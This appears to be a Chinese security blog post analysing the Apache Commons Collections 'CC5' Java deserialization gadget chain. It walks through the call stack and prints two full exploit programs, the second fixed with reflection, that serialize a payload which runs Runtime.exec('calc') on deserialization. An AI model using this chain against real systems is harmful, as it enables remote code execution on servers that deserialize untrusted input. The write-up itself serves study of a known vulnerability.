java_cc链5

这里我们又回到了去触发 LazyMap.get()，只不过我们改变了 LazyMap.get() 的触发方式，不再和 CC1 和 CC3 一样借助 AnnotationInvocationHandler 的反序列化触发。

环境

• apache commons collection-3.2.1
• jdk1.8

调用栈

->BadAttributeValueExpException.readObject()
      ->TiedMapEntry.toString()
          ->TiedMapEntry.getValue()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                            ->InvokerTransformer.transform()
                                ->…………

调用栈分析

首先我们看到BadAttributeValueExpException类（该类继承了Exception，又继承了Throwable，而Throwable实现了serializable接口）的readObject方法

将val值赋给valObj变量，先判断是否为空，再判断是否为字符串，如果不是则调用toString()方法

那我们可以把val赋值为TiedMapEntry

而这个if条件是怎么过的呢，不用担心，关注这段代码：System.getSecurityManager() == null

可以看到，这个值默认为null

继续

调用getValue

map是我们可控的，将其设置为LazyMap即可

尝试编写exp

package main.java.cc5;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map useless = new HashMap<>();
        useless.put("value","ycxlo");
        Map lazymap = LazyMap.decorate(useless,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

虽说弹出了计算器，但是调试的时候总感觉不对，比如无论在BadAttributeValueExpException的构造方法下断点，或者在readObject方法出下，都会直接弹出计算器，并且都没有走到ChainedTransform类

后面看了一下其他师傅的exp，感觉应该是我在实例化时就调用了toString方法，而没有等到readObject方法

利用反射修改exp

package main.java.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map useless = new HashMap<>();
        useless.put("value","ycxlo");
        Map lazymap = LazyMap.decorate(useless,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}